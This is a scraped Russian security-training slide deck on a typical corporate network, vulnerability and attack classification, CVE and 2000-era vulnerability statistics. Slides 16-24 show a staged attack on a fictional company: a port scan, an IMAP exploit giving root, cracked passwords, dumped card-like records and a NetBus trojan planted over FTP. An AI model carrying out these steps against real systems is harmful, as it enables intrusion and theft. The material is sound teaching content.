Что такое findslide.org?

FindSlide.org - это сайт презентаций, докладов, шаблонов в формате PowerPoint.

Для правообладателей

Обратная связь

Email: Нажмите что бы посмотреть 

Яндекс.Метрика

Презентация на тему Типовая корпоративная сеть, понятие уязвимости и атаки - 4

Содержание

ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕТиповая IP-сеть корпорацииE-Mail серверWWWсерверМаршру-тизаторВнутренние сервераРабочие местаСервер филиалаРабочие местаЦентральный офисФилиалРесурсы Internet Пользователи Internet Внешний нарушительМаршру-тизаторМСЭМобильные сотрудникиМобильные сотрудники
Типовая корпоративная сеть, уязвимости и атаки ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕТиповая IP-сеть корпорацииE-Mail серверWWWсерверМаршру-тизаторВнутренние сервераРабочие местаСервер филиалаРабочие местаЦентральный офисФилиалРесурсы Internet Уровни информационной инфраструктурыИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Уровни информационной инфраструктурыTCP/IPNetBEUIIPX/SPX Уровни информационной инфраструктуры Уровни информационной инфраструктуры Уровни информационной инфраструктурыOffice 2000 Уровни информационной инфраструктуры Пример атакиИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ bigwidget.com [hacker@linux131 hacker]$ nmap 200.0.0.143Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )Interesting ~$ telnet bigwidget.com 25Trying 10.0.0.28...Connected to bigwidget.comEscape character is '^]'.hacker:hacker:~$Connection closed by imap imap hacker ~$./imap_exploit bigwidget.comIMAP Exploit for Linux.Author: Akylonius (aky@galeb.etf.bg.ac.yu)Modifications: p1 (p1@el8.org)Completed successfully.hacker ~$telnet Allan B. Smith 6543-2223-1209-4002 12/99Donna D. Smith 6543-4133-0632-4572 06/98Jim Smith ftp>cd \temp250 CDW command successful.ftp>send netbus.exelocal: netbus.exe remote: netbus.exe200 PORT command successful.150 Сеть компании BigWidgetE-Mail серверWeb серверRouterNTРабочие станциисетьUNIXNTUNIX Угрозы, уязвимости и атаки Атака - действие нарушителя, которое приводит к реализации ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕКлассификация уязвимостей узлов, протоколов и служб IP - сетей Классификация по уровню в информационной инфраструктуреУровень сетиУровень операционной системыУровень баз данныхУровень персоналаУровень приложений Классификация уязвимостей по причинам возникновенияИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕошибки проектирования (технологий, протоколов, служб) Высокий уровень рискаСредний уровень рискаНизкий уровень рискаКлассификация уязвимостей по уровню (степени) Источники информации о новых уязвимостяхwww.cert.org - координационный www.iss.net/xforce Примеры уязвимостейУровень: сетьСтепень риска: средняяИсточник возникновения: ошибки реализацииОписание: посылка Уровень: ОССтепень риска: высокаяИсточник возникновения: ошибки реализацииОписание: проблема одной Уровень: СУБДСтепень риска: низкаяИсточник возникновения: ошибки реализацииОписание: уязвимость в Уровень: приложенияСтепень риска: средняяИсточник возникновения: ошибки реализацииОписание: посылка большого Уровень: приложенияСтепень риска: средняяИсточник возникновения: ошибки реализацииОписание: OC Windows Уровень: ПерсоналСтепень риска: высокаяИсточник возникновения: ошибки обслуживанияОписание: узел заражён http://cve.mitre.org/cveЕдиная система наименований для уязвимостейСтандартное описание для каждой уязвимостиОбеспечение совместимости баз данных уязвимостей http://cve.mitre.org/cveCAN-1999-0067CVE-1999-0067Кандидат CVEИндекс CVE Ситуация без CVEISS RealSecureCERT AdvisoryCisco DatabaseAxent NetReconland attack (spoofed SYN)Impossible IP PacketBugtragCA-97.28.Teardrop_LandLandNT4-SP3and Поддержка CVECVE-1999-0016 Land IP denial of serviceCVECERT AdvisoryBugtragISS RealSecureCisco DatabaseAxent NetRecon CVE entryCVE-1999-0005 Arbitrary command execution via IMAPbuffer overflow in authenticate command. Reference: Статистика выявления уязвимостейИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕBUGTRAQ Vulnerability Database Statistics ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕBUGTRAQ Vulnerability Database Statistics ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕОперационная система 1997 1998 1999 2000AIX 20 38 10 3 BSD (aggr.) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕКоличество выявленных уязвимостей ОС по годам(окончание)Операционная система 1997 1998 1999 2000 NetBSD Microsoft Windows NT 4.0 34 Microsoft Windows NT 2000 21 RedHat Классификация атак в IP- сетях Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в обслуживании)ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство) Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство)вандализм Классификация атак по мотивации действий случайность (халатность, некомпетентность) самоутверждение (любопытство)вандализмпринуждение Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство)вандализмпринуждениеместь Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство)вандализмпринуждениеместькорыстный интерес Классификация атак по местонахождению атакующего и объекта атакиАтакующий и объект атаки Классификация атак по механизмам реализацииПровоцирование отказа объекта (компонента)Подозрительная активность (разведка)Запуск кода (программы) Статистика по уязвимостям и атакамза 2000 годИсточник: Internet Security Systems Top 1010. Linux Buffer Overflows 2. Weak Accounts 3. IIS (Microsoft Internet Information Linux Buffer OverflowsWu-ftp BOIMAP BOQpopper BOOverwrite stackCommon script kiddie exploitsPoor coding standardsПереполнение 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases Уязвимости BINDBIND qinvCompile flag turned on by default, activated buffer-overflow, client request 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases RPC (Remote Procedure Calls)rpc.cmsd (sun-rpc.cmsd)rpc-statd (sun-rpc-statd)Sadmin (sol-sadmind-amslverify-bo)Amd (amd-bo)Mountd (linux-mountd-bo)Major script kiddie fodderHelped Enabled DDOS 8. RPC 9. Bind 10. Linux Buffer Overflows 7. File Sharing 2. Weak File SharingNetbios NFS Impact is Affecting Cable Modem and DSL UsersSensitive 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases Электронная почтаSendmail Pipe Attack (smtp-pipe)Sendmail MIMEbo “root access” (sendmail-mime-bo2)Incoming viruses, LOVEMany localhost 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases E-business Web ApplicationsNetscapeGetBo (netscape-get-bo) “control server” HttpIndexserverPath (http-indexserver-path) “path info”Frontpage Extensions (frontpage-ext) 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 1. Denial of Open DatabasesOracle default account passwordsOracle setuid root oratclshSQL Server Xp_sprintf buffer overflowSQL Server Xp_cmdshell extended 4. Open Databases 5. E-Business Web Applications 6. Open E-mail 7. File Sharing IIS (Microsoft Internet Information Server)RDSHTRMalformed headerHtdig Remote Shell Execution PWS File AccessCGI 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications Слабые паролиБюджеты по умолчаниюRoutersServersNo set Passwords for admin/root accountsSNMP with public/private community strings set 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases Атаки «Denial of Service»TrinityTFNTFN2kTrin00StacheldrahtFunTimeWindows platform (W9x/2K/NT)Preprogrammed for specific time and targetAll are distributed for maximum effect 1. Denial of Service Exploits 2. Weak Accounts 3. IIS (Microsoft Internet
Слайды презентации

Слайд 2 ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ



Типовая IP-сеть корпорации
E-Mail сервер
WWW
сервер
Маршру-тизатор
Внутренние сервера
Рабочие места
Сервер филиала
Рабочие

ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕТиповая IP-сеть корпорацииE-Mail серверWWWсерверМаршру-тизаторВнутренние сервераРабочие местаСервер филиалаРабочие местаЦентральный офисФилиалРесурсы Internet

места
Центральный офис
Филиал
Ресурсы Internet
Пользователи Internet
Внешний нарушитель
Маршру-тизатор
МСЭ
Мобильные сотрудники

Мобильные сотрудники

Слайд 3 Уровни информационной инфраструктуры

ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Уровни информационной инфраструктурыИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Слайд 4 Уровни информационной инфраструктуры


TCP/IP
NetBEUI
IPX/SPX

Уровни информационной инфраструктурыTCP/IPNetBEUIIPX/SPX

Слайд 5 Уровни информационной инфраструктуры



Уровни информационной инфраструктуры

Слайд 6 Уровни информационной инфраструктуры



Уровни информационной инфраструктуры

Слайд 7 Уровни информационной инфраструктуры



Office 2000

Уровни информационной инфраструктурыOffice 2000

Слайд 8 Уровни информационной инфраструктуры


Уровни информационной инфраструктуры

Слайд 9 Пример атаки
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Пример атакиИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Слайд 10

Слайд 11 bigwidget.com

bigwidget.com

Слайд 12

Слайд 13

Слайд 14

Слайд 15

Слайд 16 [hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by

[hacker@linux131 hacker]$ nmap 200.0.0.143Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/

fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on (200.0.0.143):
(The 1516 ports

scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
465/tcp open smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
[hacker@linux131 hacker]$

Слайд 17

~$ telnet bigwidget.com 25
Trying 10.0.0.28...
Connected to bigwidget.com
Escape character

~$ telnet bigwidget.com 25Trying 10.0.0.28...Connected to bigwidget.comEscape character is '^]'.hacker:hacker:~$Connection closed

is '^]'.
hacker:
hacker:~$
Connection closed by foreign host.
telnet bigwidget.com 143
Trying 10.0.0.28...
Connected

to bigwidget.com.
* OK bigwidget IMAP4rev1 Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400 (EDT)
(Report problems in this server to MRC@CAC.Washington.EDU)

. logout

* BYE bigwidget IMAP4rev1 server terminating connection
. OK LOGOUT completed

Connection closed by foreign host.

Слайд 18 imap

imap

Слайд 19 imap

imap

Слайд 20

Слайд 21

hacker ~$
./imap_exploit bigwidget.com
IMAP Exploit for Linux.
Author: Akylonius (aky@galeb.etf.bg.ac.yu)
Modifications:

hacker ~$./imap_exploit bigwidget.comIMAP Exploit for Linux.Author: Akylonius (aky@galeb.etf.bg.ac.yu)Modifications: p1 (p1@el8.org)Completed successfully.hacker

p1 (p1@el8.org)
Completed successfully.
hacker ~$
telnet bigwidget.com
Trying 10.0.0.28...
Connected to bigwidget.com.
Red Hat

Linux release 4.2 (Biltmore)
Kernel 2.0.35 on an i686

root

bigwidget:~#

whoami

root

bigwidget:~#

cat ./hosts

127.0.0.1 localhost localhost.localdomain
208.21.2.10 thevault accounting
208.21.2.11 fasttalk sales
208.21.2.12 geekspeak engineering
208.21.2.13 people human resources
208.21.2.14 thelinks marketing
208.21.2.15 thesource information systems

bigwidget:~#

cd /etc

bigwidget:~#

rlogin thevault

login:

Слайд 22

Allan B. Smith 6543-2223-1209-4002 12/99
Donna D. Smith

Allan B. Smith 6543-2223-1209-4002 12/99Donna D. Smith 6543-4133-0632-4572 06/98Jim Smith

6543-4133-0632-4572 06/98
Jim Smith 6543-2344-1523-5522 01/01
Joseph

L.Smith 6543-2356-1882-7532 04/02
Kay L. Smith 6543-2398-1972-4532 06/03
Mary Ann Smith 6543-8933-1332-4222 05/01
Robert F. Smith 6543-0133-5232-3332 05/99

thevault:~#

cat visa.txt

cd /data/creditcards

thevault:~#

thevault:~#

crack /etc/passwd

Cracking /etc/passwd...

username: bobman password: nambob

username: mary password: mary

username: root password: ncc1701

thevault:~#

ftp thesource

Connected to thesource
220 thesource Microsoft FTP Service (Version 4.0).

Name:

administrator

331 Password required for administrator.

Password:

*******

230 User administrator logged in.

Remote system type is Windows_NT.

Слайд 23

Слайд 24
ftp>
cd \temp
250 CDW command successful.
ftp>
send netbus.exe
local: netbus.exe remote:

ftp>cd \temp250 CDW command successful.ftp>send netbus.exelocal: netbus.exe remote: netbus.exe200 PORT command

netbus.exe
200 PORT command successful.
150 Opening BINARY mode data connection

for netbus.exe

226 Transfer complete.

ftp>

ftp>

quit

thevault:~$

telnet thesource

Trying 208.21.2.160.

.. Connected to thesource.bigwidget.com.

Escape character is '^]'.

Microsoft (R) Windows NT (TM) Version 4.00 (Build 1381)

Welcome to MS Telnet Service
Telnet Server Build 5.00.98217.1
login:

administrator

password:

*******

*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\>

cd \temp

C:\TEMP>

netbus.exe

Слайд 25

Слайд 26

Слайд 27

Слайд 28 Сеть компании BigWidget
E-Mail сервер
Web сервер
Router
NT
Рабочие станции
сеть
UNIX
NT
UNIX

Сеть компании BigWidgetE-Mail серверWeb серверRouterNTРабочие станциисетьUNIXNTUNIX

Слайд 29 Угрозы, уязвимости и атаки

Атака - действие нарушителя,

Угрозы, уязвимости и атаки Атака - действие нарушителя, которое приводит к

которое приводит к реализации угрозы путем использования уязвимостей информационной

системы.

Угроза - потенциально возможное событие, явление или процесс, которое воздействуя на компоненты информационной системы может привести к нанесению ущерба.

Уязвимость - любая характеристика или свойство информационной системы, использование которой нарушителем может привести к реализации угрозы.


Слайд 30 ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Классификация уязвимостей
узлов, протоколов и служб IP -

ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕКлассификация уязвимостей узлов, протоколов и служб IP - сетей

сетей

Слайд 31 Классификация по уровню в информационной инфраструктуре
Уровень сети
Уровень операционной

Классификация по уровню в информационной инфраструктуреУровень сетиУровень операционной системыУровень баз данныхУровень персоналаУровень приложений

системы
Уровень баз данных
Уровень персонала
Уровень приложений

Слайд 32 Классификация уязвимостей по причинам возникновения
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
ошибки проектирования (технологий,

Классификация уязвимостей по причинам возникновенияИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕошибки проектирования (технологий, протоколов, служб) ошибки

протоколов, служб)
ошибки реализации (программ)
ошибки эксплуатации (неправильная настройка, неиспользуемые сетевые

службы, слабые пароли)

Слайд 33 Высокий уровень риска
Средний уровень риска
Низкий уровень риска
Классификация уязвимостей

Высокий уровень рискаСредний уровень рискаНизкий уровень рискаКлассификация уязвимостей по уровню (степени)

по уровню (степени) риска
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Уязвимости, позволяющие атакующему получить непосредственный

доступ у узлу с правами суперпользователя

Уязвимости, позволяющие атакующему получить доступ к информации, которая с высокой степенью вероятности позволит в последствии получить доступ к узлу

Уязвимости, позволяющие злоумышленнику осуществлять сбор критичной информации о системе





Слайд 34 Источники информации
о новых уязвимостях
www.cert.org

Источники информации о новых уязвимостяхwww.cert.org - координационный центр CERT/CC

- координационный центр CERT/CC
www.iss.net/xforce -

база данных компании ISS

llnl.ciac.gov - центр CIAC

www.cert.ru - российский CERT/CC

www.securityfocus.com

Слайд 35 www.iss.net/xforce

www.iss.net/xforce

Слайд 36 Примеры уязвимостей
Уровень: сеть
Степень риска: средняя
Источник возникновения:

Примеры уязвимостейУровень: сетьСтепень риска: средняяИсточник возникновения: ошибки реализацииОписание: посылка большого числа

ошибки реализации
Описание: посылка большого числа одинаковых фрагментов IP-датаграммы

приводит к недоступности узла на время атаки

Слайд 37 Уровень: ОС
Степень риска: высокая
Источник возникновения:

Уровень: ОССтепень риска: высокаяИсточник возникновения: ошибки реализацииОписание: проблема одной из функций

ошибки реализации
Описание: проблема одной из функций ядра ОС Windows

NT, позволяющая злоумышленнику получить привилегии администратора

Примеры уязвимостей

Слайд 38 Уровень: СУБД
Степень риска: низкая
Источник возникновения:

Уровень: СУБДСтепень риска: низкаяИсточник возникновения: ошибки реализацииОписание: уязвимость в реализации возможности

ошибки реализации
Описание: уязвимость в реализации возможности подключения со стороны

других SQL-серверов

Примеры уязвимостей

Слайд 39 Уровень: приложения
Степень риска: средняя
Источник возникновения:

Уровень: приложенияСтепень риска: средняяИсточник возникновения: ошибки реализацииОписание: посылка большого числа некорректно

ошибки реализации
Описание: посылка большого числа некорректно построенных запросов приводит

к повышенному расходу ресурсов процессора

Примеры уязвимостей

Слайд 40 Уровень: приложения
Степень риска: средняя
Источник возникновения:

Уровень: приложенияСтепень риска: средняяИсточник возникновения: ошибки реализацииОписание: OC Windows 2000 и

ошибки реализации
Описание: OC Windows 2000 и Windows 98 уязвимы

к атаке «отказ в обслуживании», вызываемой исчерпанием всех UDP-сокетов

Примеры уязвимостей

Слайд 41 Уровень: Персонал
Степень риска: высокая
Источник возникновения:

Уровень: ПерсоналСтепень риска: высокаяИсточник возникновения: ошибки обслуживанияОписание: узел заражён серверной частью

ошибки обслуживания
Описание: узел заражён серверной частью троянского коня, позволяющей

установить полный контроль над узлом

Примеры уязвимостей

Слайд 42 http://cve.mitre.org/cve
Единая система наименований для уязвимостей
Стандартное описание для каждой

http://cve.mitre.org/cveЕдиная система наименований для уязвимостейСтандартное описание для каждой уязвимостиОбеспечение совместимости баз данных уязвимостей

уязвимости
Обеспечение совместимости баз данных уязвимостей

Слайд 43 http://cve.mitre.org/cve
CAN-1999-0067

CVE-1999-0067
Кандидат CVE
Индекс CVE


http://cve.mitre.org/cveCAN-1999-0067CVE-1999-0067Кандидат CVEИндекс CVE

Слайд 44 Ситуация без CVE
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack

Ситуация без CVEISS RealSecureCERT AdvisoryCisco DatabaseAxent NetReconland attack (spoofed SYN)Impossible IP

(spoofed SYN)


Impossible IP Packet
Bugtrag
CA-97.28.Teardrop_Land
Land
NT4-SP3and 95 [latierra.c]



Уязвимость Land IP denial

of service

Слайд 45 Поддержка CVE
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag


ISS

Поддержка CVECVE-1999-0016 Land IP denial of serviceCVECERT AdvisoryBugtragISS RealSecureCisco DatabaseAxent NetRecon

RealSecure
Cisco Database
Axent NetRecon



Слайд 46 CVE entry
CVE-1999-0005

Arbitrary command execution via IMAP
buffer overflow

CVE entryCVE-1999-0005 Arbitrary command execution via IMAPbuffer overflow in authenticate command.

in authenticate command.

Reference: CERT:CA-98.09.imapd
Reference: SUN:00177
Reference: BID:130


Reference: XF:imap-authenticate-bo

Номер

Описание

Ссылки

Слайд 47 Статистика выявления уязвимостей
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Статистика выявления уязвимостейИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Слайд 48 ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
BUGTRAQ Vulnerability Database Statistics

ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕBUGTRAQ Vulnerability Database Statistics

Слайд 49 ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
BUGTRAQ Vulnerability Database Statistics

ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕBUGTRAQ Vulnerability Database Statistics

Слайд 50 ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Операционная система 1997 1998 1999 2000
AIX 20 38

ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕОперационная система 1997 1998 1999 2000AIX 20 38 10 3 BSD

10 3
BSD (aggr.) 8 8 26 7
BSD/OS

6 5 4 0
BeOS 0 0 0 4
Debian 2 2 29 5
FreeBSD 4 2 18 6
HP-UX 8 5 7 4
IRIX 26 13 8 3
Linux (aggr.) 10 23 84 30
MacOS 0 1 5 0
MacOS X Server 0 0 1 0
...

Количество выявленных уязвимостей ОС по годам
(начало)

Слайд 51 ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Количество выявленных уязвимостей ОС по годам
(окончание)
Операционная система 1997

ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕКоличество выявленных уязвимостей ОС по годам(окончание)Операционная система 1997 1998 1999 2000

1998 1999 2000 NetBSD 1 4 10 3
Netware 0

0 4 1
OpenBSD 1 2 4 2
RedHat 5 10 38 17
SCO Unix 1 3 9 2
Slackware 3 8 10 0
Solaris 24 31 34 7
SuSE 0 0 21 5
Unixware 0 3 14 2
Windows 3.1x/95/98 1 1 46 13
Windows NT 4 6 99 37
Windows 2000 - - - 21

Слайд 52 Microsoft Windows NT 4.0 34 Microsoft Windows NT

Microsoft Windows NT 4.0 34 Microsoft Windows NT 2000 21 RedHat

2000 21 RedHat Linux 6.2 i386 13 RedHat Linux 6.1

i386 13 Microsoft Windows 98 13 Microsoft Windows 95 12 Microsoft IIS 4.0 12 Microsoft BackOffice 4.5 12 Microsoft BackOffice 4.0 12 RedHat Linux 6.0 i386 10 RedHat Linux 6.1 sparc 9 RedHat Linux 6.1 alpha 9 Microsoft IIS 5.0 8 RedHat Linux 6.2 sparc 7 RedHat Linux 6.2 alpha 7 Microsoft Internet Explorer 5.0 for Windows NT 4.0 7 Microsoft Internet Explorer 5.0 for Windows 98 7 Microsoft Internet Explorer 5.0 for Windows 95 7 TurboLinux Turbo Linux 6.0.2 6 TurboLinux Turbo Linux 4.4 6

Top Vulnerable Packages 2000 (за первое полугодие)

Слайд 53
Классификация атак в IP- сетях

Классификация атак в IP- сетях

Слайд 54 Классификация атак по целям
Нарушение нормального функционирования
объекта

Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в обслуживании)ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

атаки (отказ в обслуживании)
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Слайд 55 Классификация атак по целям
Нарушение нормального функционирования
объекта

Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в обслуживании)ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Получение конфиденциальной информации

атаки (отказ в обслуживании)
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Получение конфиденциальной информации

Слайд 56 Классификация атак по целям
Нарушение нормального функционирования
объекта

Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в

атаки (отказ в обслуживании)
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Получение конфиденциальной информации
Модификация

или фальсификация
критичных данных

Слайд 57 Классификация атак по целям
Нарушение нормального функционирования
объекта

Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в

атаки (отказ в обслуживании)
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Получение конфиденциальной информации
Модификация

или фальсификация
критичных данных

Получение полного контроля над
объектом атаки

Слайд 58 Классификация атак по мотивации действий
случайность
(халатность, некомпетентность)

Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ


ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Слайд 59 Классификация атак по мотивации действий
случайность
(халатность, некомпетентность)

Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство)


ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
самоутверждение (любопытство)

Слайд 60 Классификация атак по мотивации действий
случайность
(халатность, некомпетентность)

Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство)вандализм


ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
самоутверждение (любопытство)
вандализм

Слайд 61 Классификация атак по мотивации действий
случайность
(халатность, некомпетентность)

Классификация атак по мотивации действий случайность (халатность, некомпетентность) самоутверждение (любопытство)вандализмпринуждение


самоутверждение (любопытство)
вандализм
принуждение

Слайд 62 Классификация атак по мотивации действий
случайность
(халатность, некомпетентность)

Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство)вандализмпринуждениеместь


ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
самоутверждение (любопытство)
вандализм
принуждение
месть

Слайд 63 Классификация атак по мотивации действий
случайность
(халатность, некомпетентность)

Классификация атак по мотивации действий случайность (халатность, некомпетентность) ИНФОРМЗАЩИТАНАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕсамоутверждение (любопытство)вандализмпринуждениеместькорыстный интерес


ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
самоутверждение (любопытство)
вандализм
принуждение
месть
корыстный интерес

Слайд 64 Классификация атак по местонахождению атакующего и объекта атаки
Атакующий

Классификация атак по местонахождению атакующего и объекта атакиАтакующий и объект атаки

и объект атаки находятся в одном сегменте
Атакующий и объект

атаки находятся в разных сегментах

ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Маршру-тизатор

Слайд 65 Классификация атак по механизмам реализации
Провоцирование отказа объекта (компонента)
Подозрительная

Классификация атак по механизмам реализацииПровоцирование отказа объекта (компонента)Подозрительная активность (разведка)Запуск кода

активность (разведка)
Запуск кода (программы) на объекте атаки
Бесполезное расходование вычислительных

ресурсов (перегрузка)

Нарушение навигации (ложный маршрут)

Пассивное прослушивание

ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

Слайд 66 Статистика по уязвимостям
и атакам
за 2000 год
Источник: Internet

Статистика по уязвимостям и атакамза 2000 годИсточник: Internet Security Systems

Security Systems

Слайд 67 Top 10
10. Linux Buffer Overflows
2. Weak Accounts

Top 1010. Linux Buffer Overflows 2. Weak Accounts 3. IIS (Microsoft Internet Information Server)

3. IIS (Microsoft Internet Information Server)
4. Open Databases
5. E-Business

Web Applications

6. Open Sendmail

7. File Sharing

8. RPC

9. Bind

1. Denial of Service Exploits

Слайд 68 Linux Buffer Overflows
Wu-ftp BO
IMAP BO
Qpopper BO
Overwrite stack
Common script

Linux Buffer OverflowsWu-ftp BOIMAP BOQpopper BOOverwrite stackCommon script kiddie exploitsPoor coding

kiddie exploits
Poor coding standards
Переполнение буфера в Linux - приложениях

Слайд 69 2. Weak Accounts
3. IIS (Microsoft Internet Information

2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business

Server)
4. Open Databases
5. E-Business Web Applications
6. Open

Sendmail

7. File Sharing

8. RPC

1. Denial of Service Exploits

10. Linux Buffer Overflows

9. Bind

Top 10

